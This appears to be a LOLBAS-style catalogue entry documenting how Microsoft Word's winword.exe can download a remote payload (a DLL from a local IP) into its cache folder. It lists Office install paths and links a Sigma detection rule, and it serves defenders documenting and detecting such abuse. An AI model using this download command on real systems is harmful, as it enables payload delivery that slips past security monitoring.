Microsoft Office binary
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
Downloads payload from remote server
It will download a remote payload and place it in the cache folder
C:\Program Files\Microsoft Office\root\Office16\winword.exe, C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\winword.exe, C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\winword.exe, C:\Program Files (x86)\Microsoft Office\Office16\winword.exe, C:\Program Files\Microsoft Office\Office16\winword.exe, C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\winword.exe, C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\winword.exe, C:\Program Files (x86)\Microsoft Office\Office15\winword.exe, C:\Program Files\Microsoft Office\Office15\winword.exe, C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\winword.exe, C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\winword.exe, C:\Program Files (x86)\Microsoft Office\Office14\winword.exe, C:\Program Files\Microsoft Office\Office14\winword.exe, C:\Program Files (x86)\Microsoft Office\Office12\winword.exe, C:\Program Files\Microsoft Office\Office12\winword.exe, C:\Program Files\Microsoft Office\Office12\winword.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_office_arbitrary_cli_download.yml, IOC: Suspicious Office application Internet/network traffic
Reegun J (OCBC Bank) (@reegun21)